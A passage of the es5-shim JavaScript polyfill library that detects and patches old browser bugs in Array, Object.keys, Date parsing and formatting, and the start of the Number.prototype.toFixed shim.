http://es5.github.com/#x15.4.4.22\n // https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Objects/Array/reduceRight\n var reduceRightCoercesToObject = false;\n if (ArrayPrototype.reduceRight) {\n reduceRightCoercesToObject = typeof ArrayPrototype.reduceRight.call('es5', function (_, __, ___, list) {\n return list;\n }) === 'object';\n }\n defineProperties(ArrayPrototype, {\n reduceRight: function reduceRight(callbackfn/*, initial*/) {\n var object = ES.ToObject(this);\n var self = splitString && isString(this) ? strSplit(this, '') : object;\n var length = ES.ToUint32(self.length);\n\n // If no callback function or if callback is not a callable function\n if (!isCallable(callbackfn)) {\n throw new TypeError('Array.prototype.reduceRight callback must be a function');\n }\n\n // no value to return if no initial value, empty array\n if (length === 0 && arguments.length === 1) {\n throw new TypeError('reduceRight of empty array with no initial value');\n }\n\n var result;\n var i = length - 1;\n if (arguments.length >= 2) {\n result = arguments[1];\n } else {\n do {\n if (i in self) {\n result = self[i--];\n break;\n }\n\n // if array contains no values, no initial value to return\n if (--i < 0) {\n throw new TypeError('reduceRight of empty array with no initial value');\n }\n } while (true);\n }\n\n if (i < 0) {\n return result;\n }\n\n do {\n if (i in self) {\n result = callbackfn(result, self[i], i, object);\n }\n } while (i--);\n\n return result;\n }\n }, !reduceRightCoercesToObject);\n\n // ES5 15.4.4.14\n // http://es5.github.com/#x15.4.4.14\n // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/indexOf\n var hasFirefox2IndexOfBug = ArrayPrototype.indexOf && [0, 1].indexOf(1, 2) !== -1;\n defineProperties(ArrayPrototype, {\n indexOf: function indexOf(searchElement/*, fromIndex */) {\n var self = splitString && isString(this) ? strSplit(this, '') : ES.ToObject(this);\n var length = ES.ToUint32(self.length);\n\n if (length === 0) {\n return -1;\n }\n\n var i = 0;\n if (arguments.length > 1) {\n i = ES.ToInteger(arguments[1]);\n }\n\n // handle negative indices\n i = i >= 0 ? i : max(0, length + i);\n for (; i < length; i++) {\n if (i in self && self[i] === searchElement) {\n return i;\n }\n }\n return -1;\n }\n }, hasFirefox2IndexOfBug);\n\n // ES5 15.4.4.15\n // http://es5.github.com/#x15.4.4.15\n // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/lastIndexOf\n var hasFirefox2LastIndexOfBug = ArrayPrototype.lastIndexOf && [0, 1].lastIndexOf(0, -3) !== -1;\n defineProperties(ArrayPrototype, {\n lastIndexOf: function lastIndexOf(searchElement/*, fromIndex */) {\n var self = splitString && isString(this) ? strSplit(this, '') : ES.ToObject(this);\n var length = ES.ToUint32(self.length);\n\n if (length === 0) {\n return -1;\n }\n var i = length - 1;\n if (arguments.length > 1) {\n i = min(i, ES.ToInteger(arguments[1]));\n }\n // handle negative indices\n i = i >= 0 ? i : length - Math.abs(i);\n for (; i >= 0; i--) {\n if (i in self && searchElement === self[i]) {\n return i;\n }\n }\n return -1;\n }\n }, hasFirefox2LastIndexOfBug);\n\n // ES5 15.4.4.12\n // http://es5.github.com/#x15.4.4.12\n var spliceNoopReturnsEmptyArray = (function () {\n var a = [1, 2];\n var result = a.splice();\n return a.length === 2 && isArray(result) && result.length === 0;\n }());\n defineProperties(ArrayPrototype, {\n // Safari 5.0 bug where .splice() returns undefined\n splice: function splice(start, deleteCount) {\n if (arguments.length === 0) {\n return [];\n } else {\n return array_splice.apply(this, arguments);\n }\n }\n }, !spliceNoopReturnsEmptyArray);\n\n var spliceWorksWithEmptyObject = (function () {\n var obj = {};\n ArrayPrototype.splice.call(obj, 0, 0, 1);\n return obj.length === 1;\n }());\n defineProperties(ArrayPrototype, {\n splice: function splice(start, deleteCount) {\n if (arguments.length === 0) {\n return [];\n }\n var args = arguments;\n this.length = max(ES.ToInteger(this.length), 0);\n if (arguments.length > 0 && typeof deleteCount !== 'number') {\n args = arraySlice(arguments);\n if (args.length < 2) {\n pushCall(args, this.length - start);\n } else {\n args[1] = ES.ToInteger(deleteCount);\n }\n }\n return array_splice.apply(this, args);\n }\n }, !spliceWorksWithEmptyObject);\n var spliceWorksWithLargeSparseArrays = (function () {\n // Per https://github.com/es-shims/es5-shim/issues/295\n // Safari 7/8 breaks with sparse arrays of size 1e5 or greater\n var arr = new $Array(1e5);\n // note: the index MUST be 8 or larger or the test will false pass\n arr[8] = 'x';\n arr.splice(1, 1);\n // note: this test must be defined *after* the indexOf shim\n // per https://github.com/es-shims/es5-shim/issues/313\n return arr.indexOf('x') === 7;\n }());\n var spliceWorksWithSmallSparseArrays = (function () {\n // Per https://github.com/es-shims/es5-shim/issues/295\n // Opera 12.15 breaks on this, no idea why.\n var n = 256;\n var arr = [];\n arr[n] = 'a';\n arr.splice(n + 1, 0, 'b');\n return arr[n] === 'a';\n }());\n defineProperties(ArrayPrototype, {\n splice: function splice(start, deleteCount) {\n var O = ES.ToObject(this);\n var A = [];\n var len = ES.ToUint32(O.length);\n var relativeStart = ES.ToInteger(start);\n var actualStart = relativeStart < 0 ? max((len + relativeStart), 0) : min(relativeStart, len);\n var actualDeleteCount = min(max(ES.ToInteger(deleteCount), 0), len - actualStart);\n\n var k = 0;\n var from;\n while (k < actualDeleteCount) {\n from = $String(actualStart + k);\n if (owns(O, from)) {\n A[k] = O[from];\n }\n k += 1;\n }\n\n var items = arraySlice(arguments, 2);\n var itemCount = items.length;\n var to;\n if (itemCount < actualDeleteCount) {\n k = actualStart;\n var maxK = len - actualDeleteCount;\n while (k < maxK) {\n from = $String(k + actualDeleteCount);\n to = $String(k + itemCount);\n if (owns(O, from)) {\n O[to] = O[from];\n } else {\n delete O[to];\n }\n k += 1;\n }\n k = len;\n var minK = len - actualDeleteCount + itemCount;\n while (k > minK) {\n delete O[k - 1];\n k -= 1;\n }\n } else if (itemCount > actualDeleteCount) {\n k = len - actualDeleteCount;\n while (k > actualStart) {\n from = $String(k + actualDeleteCount - 1);\n to = $String(k + itemCount - 1);\n if (owns(O, from)) {\n O[to] = O[from];\n } else {\n delete O[to];\n }\n k -= 1;\n }\n }\n k = actualStart;\n for (var i = 0; i < items.length; ++i) {\n O[k] = items[i];\n k += 1;\n }\n O.length = len - actualDeleteCount + itemCount;\n\n return A;\n }\n }, !spliceWorksWithLargeSparseArrays || !spliceWorksWithSmallSparseArrays);\n\n var originalJoin = ArrayPrototype.join;\n var hasStringJoinBug;\n try {\n hasStringJoinBug = Array.prototype.join.call('123', ',') !== '1,2,3';\n } catch (e) {\n hasStringJoinBug = true;\n }\n if (hasStringJoinBug) {\n defineProperties(ArrayPrototype, {\n join: function join(separator) {\n var sep = typeof separator === 'undefined' ? ',' : separator;\n return originalJoin.call(isString(this) ? strSplit(this, '') : this, sep);\n }\n }, hasStringJoinBug);\n }\n\n var hasJoinUndefinedBug = [1, 2].join(undefined) !== '1,2';\n if (hasJoinUndefinedBug) {\n defineProperties(ArrayPrototype, {\n join: function join(separator) {\n var sep = typeof separator === 'undefined' ? ',' : separator;\n return originalJoin.call(this, sep);\n }\n }, hasJoinUndefinedBug);\n }\n\n var pushShim = function push(item) {\n var O = ES.ToObject(this);\n var n = ES.ToUint32(O.length);\n var i = 0;\n while (i < arguments.length) {\n O[n + i] = arguments[i];\n i += 1;\n }\n O.length = n + i;\n return n + i;\n };\n\n var pushIsNotGeneric = (function () {\n var obj = {};\n var result = Array.prototype.push.call(obj, undefined);\n return result !== 1 || obj.length !== 1 || typeof obj[0] !== 'undefined' || !owns(obj, 0);\n }());\n defineProperties(ArrayPrototype, {\n push: function push(item) {\n if (isArray(this)) {\n return array_push.apply(this, arguments);\n }\n return pushShim.apply(this, arguments);\n }\n }, pushIsNotGeneric);\n\n // This fixes a very weird bug in Opera 10.6 when pushing `undefined\n var pushUndefinedIsWeird = (function () {\n var arr = [];\n var result = arr.push(undefined);\n return result !== 1 || arr.length !== 1 || typeof arr[0] !== 'undefined' || !owns(arr, 0);\n }());\n defineProperties(ArrayPrototype, { push: pushShim }, pushUndefinedIsWeird);\n\n // ES5 15.2.3.14\n // http://es5.github.io/#x15.4.4.10\n // Fix boxed string bug\n defineProperties(ArrayPrototype, {\n slice: function (start, end) {\n var arr = isString(this) ? strSplit(this, '') : this;\n return arraySliceApply(arr, arguments);\n }\n }, splitString);\n\n var sortIgnoresNonFunctions = (function () {\n try {\n [1, 2].sort(null);\n [1, 2].sort({});\n return true;\n } catch (e) {}\n return false;\n }());\n var sortThrowsOnRegex = (function () {\n // this is a problem in Firefox 4, in which `typeof /a/ === 'function'`\n try {\n [1, 2].sort(/a/);\n return false;\n } catch (e) {}\n return true;\n }());\n var sortIgnoresUndefined = (function () {\n // applies in IE 8, for one.\n try {\n [1, 2].sort(undefined);\n return true;\n } catch (e) {}\n return false;\n }());\n defineProperties(ArrayPrototype, {\n sort: function sort(compareFn) {\n if (typeof compareFn === 'undefined') {\n return arraySort(this);\n }\n if (!isCallable(compareFn)) {\n throw new TypeError('Array.prototype.sort callback must be a function');\n }\n return arraySort(this, compareFn);\n }\n }, sortIgnoresNonFunctions || !sortIgnoresUndefined || !sortThrowsOnRegex);\n\n //\n // Object\n // ======\n //\n\n // ES5 15.2.3.14\n // http://es5.github.com/#x15.2.3.14\n\n // http://whattheheadsaid.com/2010/10/a-safer-object-keys-compatibility-implementation\n var hasDontEnumBug = !isEnum({ 'toString': null }, 'toString');\n var hasProtoEnumBug = isEnum(function () {}, 'prototype');\n var hasStringEnumBug = !owns('x', '0');\n var equalsConstructorPrototype = function (o) {\n var ctor = o.constructor;\n return ctor && ctor.prototype === o;\n };\n var blacklistedKeys = {\n $window: true,\n $console: true,\n $parent: true,\n $self: true,\n $frame: true,\n $frames: true,\n $frameElement: true,\n $webkitIndexedDB: true,\n $webkitStorageInfo: true,\n $external: true\n };\n var hasAutomationEqualityBug = (function () {\n /* globals window */\n if (typeof window === 'undefined') {\n return false;\n }\n for (var k in window) {\n try {\n if (!blacklistedKeys['$' + k] && owns(window, k) && window[k] !== null && typeof window[k] === 'object') {\n equalsConstructorPrototype(window[k]);\n }\n } catch (e) {\n return true;\n }\n }\n return false;\n }());\n var equalsConstructorPrototypeIfNotBuggy = function (object) {\n if (typeof window === 'undefined' || !hasAutomationEqualityBug) {\n return equalsConstructorPrototype(object);\n }\n try {\n return equalsConstructorPrototype(object);\n } catch (e) {\n return false;\n }\n };\n var dontEnums = [\n 'toString',\n 'toLocaleString',\n 'valueOf',\n 'hasOwnProperty',\n 'isPrototypeOf',\n 'propertyIsEnumerable',\n 'constructor'\n ];\n var dontEnumsLength = dontEnums.length;\n\n // taken directly from https://github.com/ljharb/is-arguments/blob/master/index.js\n // can be replaced with require('is-arguments') if we ever use a build process instead\n var isStandardArguments = function isArguments(value) {\n return toStr(value) === '[object Arguments]';\n };\n var isLegacyArguments = function isArguments(value) {\n return value !== null &&\n typeof value === 'object' &&\n typeof value.length === 'number' &&\n value.length >= 0 &&\n !isArray(value) &&\n isCallable(value.callee);\n };\n var isArguments = isStandardArguments(arguments) ? isStandardArguments : isLegacyArguments;\n\n defineProperties($Object, {\n keys: function keys(object) {\n var isFn = isCallable(object);\n var isArgs = isArguments(object);\n var isObject = object !== null && typeof object === 'object';\n var isStr = isObject && isString(object);\n\n if (!isObject && !isFn && !isArgs) {\n throw new TypeError('Object.keys called on a non-object');\n }\n\n var theKeys = [];\n var skipProto = hasProtoEnumBug && isFn;\n if ((isStr && hasStringEnumBug) || isArgs) {\n for (var i = 0; i < object.length; ++i) {\n pushCall(theKeys, $String(i));\n }\n }\n\n if (!isArgs) {\n for (var name in object) {\n if (!(skipProto && name === 'prototype') && owns(object, name)) {\n pushCall(theKeys, $String(name));\n }\n }\n }\n\n if (hasDontEnumBug) {\n var skipConstructor = equalsConstructorPrototypeIfNotBuggy(object);\n for (var j = 0; j < dontEnumsLength; j++) {\n var dontEnum = dontEnums[j];\n if (!(skipConstructor && dontEnum === 'constructor') && owns(object, dontEnum)) {\n pushCall(theKeys, dontEnum);\n }\n }\n }\n return theKeys;\n }\n });\n\n var keysWorksWithArguments = $Object.keys && (function () {\n // Safari 5.0 bug\n return $Object.keys(arguments).length === 2;\n }(1, 2));\n var keysHasArgumentsLengthBug = $Object.keys && (function () {\n var argKeys = $Object.keys(arguments);\n return arguments.length !== 1 || argKeys.length !== 1 || argKeys[0] !== 1;\n }(1));\n var originalKeys = $Object.keys;\n defineProperties($Object, {\n keys: function keys(object) {\n if (isArguments(object)) {\n return originalKeys(arraySlice(object));\n } else {\n return originalKeys(object);\n }\n }\n }, !keysWorksWithArguments || keysHasArgumentsLengthBug);\n\n //\n // Date\n // ====\n //\n\n var hasNegativeMonthYearBug = new Date(-3509827329600292).getUTCMonth() !== 0;\n var aNegativeTestDate = new Date(-1509842289600292);\n var aPositiveTestDate = new Date(1449662400000);\n var hasToUTCStringFormatBug = aNegativeTestDate.toUTCString() !== 'Mon, 01 Jan -45875 11:59:59 GMT';\n var hasToDateStringFormatBug;\n var hasToStringFormatBug;\n var timeZoneOffset = aNegativeTestDate.getTimezoneOffset();\n if (timeZoneOffset < -720) {\n hasToDateStringFormatBug = aNegativeTestDate.toDateString() !== 'Tue Jan 02 -45875';\n hasToStringFormatBug = !(/^Thu Dec 10 2015 \\d\\d:\\d\\d:\\d\\d GMT[-\\+]\\d\\d\\d\\d(?: |$)/).test(aPositiveTestDate.toString());\n } else {\n hasToDateStringFormatBug = aNegativeTestDate.toDateString() !== 'Mon Jan 01 -45875';\n hasToStringFormatBug = !(/^Wed Dec 09 2015 \\d\\d:\\d\\d:\\d\\d GMT[-\\+]\\d\\d\\d\\d(?: |$)/).test(aPositiveTestDate.toString());\n }\n\n var originalGetFullYear = call.bind(Date.prototype.getFullYear);\n var originalGetMonth = call.bind(Date.prototype.getMonth);\n var originalGetDate = call.bind(Date.prototype.getDate);\n var originalGetUTCFullYear = call.bind(Date.prototype.getUTCFullYear);\n var originalGetUTCMonth = call.bind(Date.prototype.getUTCMonth);\n var originalGetUTCDate = call.bind(Date.prototype.getUTCDate);\n var originalGetUTCDay = call.bind(Date.prototype.getUTCDay);\n var originalGetUTCHours = call.bind(Date.prototype.getUTCHours);\n var originalGetUTCMinutes = call.bind(Date.prototype.getUTCMinutes);\n var originalGetUTCSeconds = call.bind(Date.prototype.getUTCSeconds);\n var originalGetUTCMilliseconds = call.bind(Date.prototype.getUTCMilliseconds);\n var dayName = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];\n var monthName = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\n var daysInMonth = function daysInMonth(month, year) {\n return originalGetDate(new Date(year, month, 0));\n };\n\n defineProperties(Date.prototype, {\n getFullYear: function getFullYear() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var year = originalGetFullYear(this);\n if (year < 0 && originalGetMonth(this) > 11) {\n return year + 1;\n }\n return year;\n },\n getMonth: function getMonth() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var year = originalGetFullYear(this);\n var month = originalGetMonth(this);\n if (year < 0 && month > 11) {\n return 0;\n }\n return month;\n },\n getDate: function getDate() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var year = originalGetFullYear(this);\n var month = originalGetMonth(this);\n var date = originalGetDate(this);\n if (year < 0 && month > 11) {\n if (month === 12) {\n return date;\n }\n var days = daysInMonth(0, year + 1);\n return (days - date) + 1;\n }\n return date;\n },\n getUTCFullYear: function getUTCFullYear() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var year = originalGetUTCFullYear(this);\n if (year < 0 && originalGetUTCMonth(this) > 11) {\n return year + 1;\n }\n return year;\n },\n getUTCMonth: function getUTCMonth() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var year = originalGetUTCFullYear(this);\n var month = originalGetUTCMonth(this);\n if (year < 0 && month > 11) {\n return 0;\n }\n return month;\n },\n getUTCDate: function getUTCDate() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var year = originalGetUTCFullYear(this);\n var month = originalGetUTCMonth(this);\n var date = originalGetUTCDate(this);\n if (year < 0 && month > 11) {\n if (month === 12) {\n return date;\n }\n var days = daysInMonth(0, year + 1);\n return (days - date) + 1;\n }\n return date;\n }\n }, hasNegativeMonthYearBug);\n\n defineProperties(Date.prototype, {\n toUTCString: function toUTCString() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var day = originalGetUTCDay(this);\n var date = originalGetUTCDate(this);\n var month = originalGetUTCMonth(this);\n var year = originalGetUTCFullYear(this);\n var hour = originalGetUTCHours(this);\n var minute = originalGetUTCMinutes(this);\n var second = originalGetUTCSeconds(this);\n return dayName[day] + ', ' +\n (date < 10 ? '0' + date : date) + ' ' +\n monthName[month] + ' ' +\n year + ' ' +\n (hour < 10 ? '0' + hour : hour) + ':' +\n (minute < 10 ? '0' + minute : minute) + ':' +\n (second < 10 ? '0' + second : second) + ' GMT';\n }\n }, hasNegativeMonthYearBug || hasToUTCStringFormatBug);\n\n // Opera 12 has `,`\n defineProperties(Date.prototype, {\n toDateString: function toDateString() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var day = this.getDay();\n var date = this.getDate();\n var month = this.getMonth();\n var year = this.getFullYear();\n return dayName[day] + ' ' +\n monthName[month] + ' ' +\n (date < 10 ? '0' + date : date) + ' ' +\n year;\n }\n }, hasNegativeMonthYearBug || hasToDateStringFormatBug);\n\n // can't use defineProperties here because of toString enumeration issue in IE <= 8\n if (hasNegativeMonthYearBug || hasToStringFormatBug) {\n Date.prototype.toString = function toString() {\n if (!this || !(this instanceof Date)) {\n throw new TypeError('this is not a Date object.');\n }\n var day = this.getDay();\n var date = this.getDate();\n var month = this.getMonth();\n var year = this.getFullYear();\n var hour = this.getHours();\n var minute = this.getMinutes();\n var second = this.getSeconds();\n var timezoneOffset = this.getTimezoneOffset();\n var hoursOffset = Math.floor(Math.abs(timezoneOffset) / 60);\n var minutesOffset = Math.floor(Math.abs(timezoneOffset) % 60);\n return dayName[day] + ' ' +\n monthName[month] + ' ' +\n (date < 10 ? '0' + date : date) + ' ' +\n year + ' ' +\n (hour < 10 ? '0' + hour : hour) + ':' +\n (minute < 10 ? '0' + minute : minute) + ':' +\n (second < 10 ? '0' + second : second) + ' GMT' +\n (timezoneOffset > 0 ? '-' : '+') +\n (hoursOffset < 10 ? '0' + hoursOffset : hoursOffset) +\n (minutesOffset < 10 ? '0' + minutesOffset : minutesOffset);\n };\n if (supportsDescriptors) {\n $Object.defineProperty(Date.prototype, 'toString', {\n configurable: true,\n enumerable: false,\n writable: true\n });\n }\n }\n\n // ES5 15.9.5.43\n // http://es5.github.com/#x15.9.5.43\n // This function returns a String value represent the instance in time\n // represented by this Date object. The format of the String is the Date Time\n // string format defined in 15.9.1.15. All fields are present in the String.\n // The time zone is always UTC, denoted by the suffix Z. If the time value of\n // this object is not a finite Number a RangeError exception is thrown.\n var negativeDate = -62198755200000;\n var negativeYearString = '-000001';\n var hasNegativeDateBug = Date.prototype.toISOString && new Date(negativeDate).toISOString().indexOf(negativeYearString) === -1;\n var hasSafari51DateBug = Date.prototype.toISOString && new Date(-1).toISOString() !== '1969-12-31T23:59:59.999Z';\n\n var getTime = call.bind(Date.prototype.getTime);\n\n defineProperties(Date.prototype, {\n toISOString: function toISOString() {\n if (!isFinite(this) || !isFinite(getTime(this))) {\n // Adope Photoshop requires the second check.\n throw new RangeError('Date.prototype.toISOString called on non-finite value.');\n }\n\n var year = originalGetUTCFullYear(this);\n\n var month = originalGetUTCMonth(this);\n // see https://github.com/es-shims/es5-shim/issues/111\n year += Math.floor(month / 12);\n month = (month % 12 + 12) % 12;\n\n // the date time string format is specified in 15.9.1.15.\n var result = [month + 1, originalGetUTCDate(this), originalGetUTCHours(this), originalGetUTCMinutes(this), originalGetUTCSeconds(this)];\n year = (\n (year < 0 ? '-' : (year > 9999 ? '+' : '')) +\n strSlice('00000' + Math.abs(year), (0 <= year && year <= 9999) ? -4 : -6)\n );\n\n for (var i = 0; i < result.length; ++i) {\n // pad months, days, hours, minutes, and seconds to have two digits.\n result[i] = strSlice('00' + result[i], -2);\n }\n // pad milliseconds to have three digits.\n return (\n year + '-' + arraySlice(result, 0, 2).join('-') +\n 'T' + arraySlice(result, 2).join(':') + '.' +\n strSlice('000' + originalGetUTCMilliseconds(this), -3) + 'Z'\n );\n }\n }, hasNegativeDateBug || hasSafari51DateBug);\n\n // ES5 15.9.5.44\n // http://es5.github.com/#x15.9.5.44\n // This function provides a String representation of a Date object for use by\n // JSON.stringify (15.12.3).\n var dateToJSONIsSupported = (function () {\n try {\n return Date.prototype.toJSON &&\n new Date(NaN).toJSON() === null &&\n new Date(negativeDate).toJSON().indexOf(negativeYearString) !== -1 &&\n Date.prototype.toJSON.call({ // generic\n toISOString: function () { return true; }\n });\n } catch (e) {\n return false;\n }\n }());\n if (!dateToJSONIsSupported) {\n Date.prototype.toJSON = function toJSON(key) {\n // When the toJSON method is called with argument key, the following\n // steps are taken:\n\n // 1. Let O be the result of calling ToObject, giving it the this\n // value as its argument.\n // 2. Let tv be ES.ToPrimitive(O, hint Number).\n var O = $Object(this);\n var tv = ES.ToPrimitive(O);\n // 3. If tv is a Number and is not finite, return null.\n if (typeof tv === 'number' && !isFinite(tv)) {\n return null;\n }\n // 4. Let toISO be the result of calling the [[Get]] internal method of\n // O with argument \"toISOString\".\n var toISO = O.toISOString;\n // 5. If IsCallable(toISO) is false, throw a TypeError exception.\n if (!isCallable(toISO)) {\n throw new TypeError('toISOString property is not callable');\n }\n // 6. Return the result of calling the [[Call]] internal method of\n // toISO with O as the this value and an empty argument list.\n return toISO.call(O);\n\n // NOTE 1 The argument is ignored.\n\n // NOTE 2 The toJSON function is intentionally generic; it does not\n // require that its this value be a Date object. Therefore, it can be\n // transferred to other kinds of objects for use as a method. However,\n // it does require that any such object have a toISOString method. An\n // object is free to use the argument key to filter its\n // stringification.\n };\n }\n\n // ES5 15.9.4.2\n // http://es5.github.com/#x15.9.4.2\n // based on work shared by Daniel Friesen (dantman)\n // http://gist.github.com/303249\n var supportsExtendedYears = Date.parse('+033658-09-27T01:46:40.000Z') === 1e15;\n var acceptsInvalidDates = !isNaN(Date.parse('2012-04-04T24:00:00.500Z')) || !isNaN(Date.parse('2012-11-31T23:59:59.000Z')) || !isNaN(Date.parse('2012-12-31T23:59:60.000Z'));\n var doesNotParseY2KNewYear = isNaN(Date.parse('2000-01-01T00:00:00.000Z'));\n if (doesNotParseY2KNewYear || acceptsInvalidDates || !supportsExtendedYears) {\n // XXX global assignment won't work in embeddings that use\n // an alternate object for the context.\n /* global Date: true */\n /* eslint-disable no-undef */\n var maxSafeUnsigned32Bit = Math.pow(2, 31) - 1;\n var hasSafariSignedIntBug = isActualNaN(new Date(1970, 0, 1, 0, 0, 0, maxSafeUnsigned32Bit + 1).getTime());\n /* eslint-disable no-implicit-globals */\n Date = (function (NativeDate) {\n /* eslint-enable no-implicit-globals */\n /* eslint-enable no-undef */\n // Date.length === 7\n var DateShim = function Date(Y, M, D, h, m, s, ms) {\n var length = arguments.length;\n var date;\n if (this instanceof NativeDate) {\n var seconds = s;\n var millis = ms;\n if (hasSafariSignedIntBug && length >= 7 && ms > maxSafeUnsigned32Bit) {\n // work around a Safari 8/9 bug where it treats the seconds as signed\n var msToShift = Math.floor(ms / maxSafeUnsigned32Bit) * maxSafeUnsigned32Bit;\n var sToShift = Math.floor(msToShift / 1e3);\n seconds += sToShift;\n millis -= sToShift * 1e3;\n }\n date = length === 1 && $String(Y) === Y ? // isString(Y)\n // We explicitly pass it through parse:\n new NativeDate(DateShim.parse(Y)) :\n // We have to manually make calls depending on argument\n // length here\n length >= 7 ? new NativeDate(Y, M, D, h, m, seconds, millis) :\n length >= 6 ? new NativeDate(Y, M, D, h, m, seconds) :\n length >= 5 ? new NativeDate(Y, M, D, h, m) :\n length >= 4 ? new NativeDate(Y, M, D, h) :\n length >= 3 ? new NativeDate(Y, M, D) :\n length >= 2 ? new NativeDate(Y, M) :\n length >= 1 ? new NativeDate(Y instanceof NativeDate ? +Y : Y) :\n new NativeDate();\n } else {\n date = NativeDate.apply(this, arguments);\n }\n if (!isPrimitive(date)) {\n // Prevent mixups with unfixed Date object\n defineProperties(date, { constructor: DateShim }, true);\n }\n return date;\n };\n\n // 15.9.1.15 Date Time String Format.\n var isoDateExpression = new RegExp('^' +\n '(\\\\d{4}|[+-]\\\\d{6})' + // four-digit year capture or sign +\n // 6-digit extended year\n '(?:-(\\\\d{2})' + // optional month capture\n '(?:-(\\\\d{2})' + // optional day capture\n '(?:' + // capture hours:minutes:seconds.milliseconds\n 'T(\\\\d{2})' + // hours capture\n ':(\\\\d{2})' + // minutes capture\n '(?:' + // optional :seconds.milliseconds\n ':(\\\\d{2})' + // seconds capture\n '(?:(\\\\.\\\\d{1,}))?' + // milliseconds capture\n ')?' +\n '(' + // capture UTC offset component\n 'Z|' + // UTC capture\n '(?:' + // offset specifier +/-hours:minutes\n '([-+])' + // sign capture\n '(\\\\d{2})' + // hours offset capture\n ':(\\\\d{2})' + // minutes offset capture\n ')' +\n ')?)?)?)?' +\n '$');\n\n var months = [0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365];\n\n var dayFromMonth = function dayFromMonth(year, month) {\n var t = month > 1 ? 1 : 0;\n return (\n months[month] +\n Math.floor((year - 1969 + t) / 4) -\n Math.floor((year - 1901 + t) / 100) +\n Math.floor((year - 1601 + t) / 400) +\n 365 * (year - 1970)\n );\n };\n\n var toUTC = function toUTC(t) {\n var s = 0;\n var ms = t;\n if (hasSafariSignedIntBug && ms > maxSafeUnsigned32Bit) {\n // work around a Safari 8/9 bug where it treats the seconds as signed\n var msToShift = Math.floor(ms / maxSafeUnsigned32Bit) * maxSafeUnsigned32Bit;\n var sToShift = Math.floor(msToShift / 1e3);\n s += sToShift;\n ms -= sToShift * 1e3;\n }\n return $Number(new NativeDate(1970, 0, 1, 0, 0, s, ms));\n };\n\n // Copy any custom methods a 3rd party library may have added\n for (var key in NativeDate) {\n if (owns(NativeDate, key)) {\n DateShim[key] = NativeDate[key];\n }\n }\n\n // Copy \"native\" methods explicitly; they may be non-enumerable\n defineProperties(DateShim, {\n now: NativeDate.now,\n UTC: NativeDate.UTC\n }, true);\n DateShim.prototype = NativeDate.prototype;\n defineProperties(DateShim.prototype, {\n constructor: DateShim\n }, true);\n\n // Upgrade Date.parse to handle simplified ISO 8601 strings\n var parseShim = function parse(string) {\n var match = isoDateExpression.exec(string);\n if (match) {\n // parse months, days, hours, minutes, seconds, and milliseconds\n // provide default values if necessary\n // parse the UTC offset component\n var year = $Number(match[1]),\n month = $Number(match[2] || 1) - 1,\n day = $Number(match[3] || 1) - 1,\n hour = $Number(match[4] || 0),\n minute = $Number(match[5] || 0),\n second = $Number(match[6] || 0),\n millisecond = Math.floor($Number(match[7] || 0) * 1000),\n // When time zone is missed, local offset should be used\n // (ES 5.1 bug)\n // see https://bugs.ecmascript.org/show_bug.cgi?id=112\n isLocalTime = Boolean(match[4] && !match[8]),\n signOffset = match[9] === '-' ? 1 : -1,\n hourOffset = $Number(match[10] || 0),\n minuteOffset = $Number(match[11] || 0),\n result;\n var hasMinutesOrSecondsOrMilliseconds = minute > 0 || second > 0 || millisecond > 0;\n if (\n hour < (hasMinutesOrSecondsOrMilliseconds ? 24 : 25) &&\n minute < 60 && second < 60 && millisecond < 1000 &&\n month > -1 && month < 12 && hourOffset < 24 &&\n minuteOffset < 60 && // detect invalid offsets\n day > -1 &&\n day < (dayFromMonth(year, month + 1) - dayFromMonth(year, month))\n ) {\n result = (\n (dayFromMonth(year, month) + day) * 24 +\n hour +\n hourOffset * signOffset\n ) * 60;\n result = (\n (result + minute + minuteOffset * signOffset) * 60 +\n second\n ) * 1000 + millisecond;\n if (isLocalTime) {\n result = toUTC(result);\n }\n if (-8.64e15 <= result && result <= 8.64e15) {\n return result;\n }\n }\n return NaN;\n }\n return NativeDate.parse.apply(this, arguments);\n };\n defineProperties(DateShim, { parse: parseShim });\n\n return DateShim;\n }(Date));\n /* global Date: false */\n }\n\n // ES5 15.9.4.4\n // http://es5.github.com/#x15.9.4.4\n if (!Date.now) {\n Date.now = function now() {\n return new Date().getTime();\n };\n }\n\n //\n // Number\n // ======\n //\n\n // ES5.1 15.7.4.5\n // http://es5.github.com/#x15.7.4.5\n var hasToFixedBugs = NumberPrototype.toFixed && (\n (0.00008).toFixed(3) !== '0.000' ||\n (0.9).toFixed(0) !== '1' ||\n (1.255).toFixed(2) !== '1.25' ||\n (1000000000000000128).toFixed(0) !== '1000000000000000128'\n );\n\n var toFixedHelpers = {\n base: 1e7,\n size: 6,\n data: [0, 0, 0, 0, 0, 0],\n multiply: function multiply(n, c) {\n var i = -1;\n var c2 = c;\n while (++i < toFixedHelpers.size) {\n c2 += n * toFixedHelpers.data[i];\n toFixedHelpers.data[i] = c2 % toFixedHelpers.base;\n c2 = Math.floor(c2 / toFixedHelpers.base);\n }\n },\n divide: function divide(n) {\n var i = toFixedHelpers.size;\n var c = 0;\n while (--i >= 0) {\n c += toFixedHelpers.data[i];\n toFixedHelpers.data[i] = Math.floor(c / n);\n c = (c % n) * toFixedHelpers.base;\n }\n },\n numToString: function numToString() {\n var i = toFixedHelpers.size;\n var s = '';\n while (--i >= 0) {\n if (s !== '' || i === 0 || toFixedHelpers.data[i] !== 0) {\n var t = $String(toFixedHelpers.data[i]);\n if (s === '') {\n s = t;\n } else {\n s += strSlice('0000000', 0, 7 - t.length) + t;\n }\n 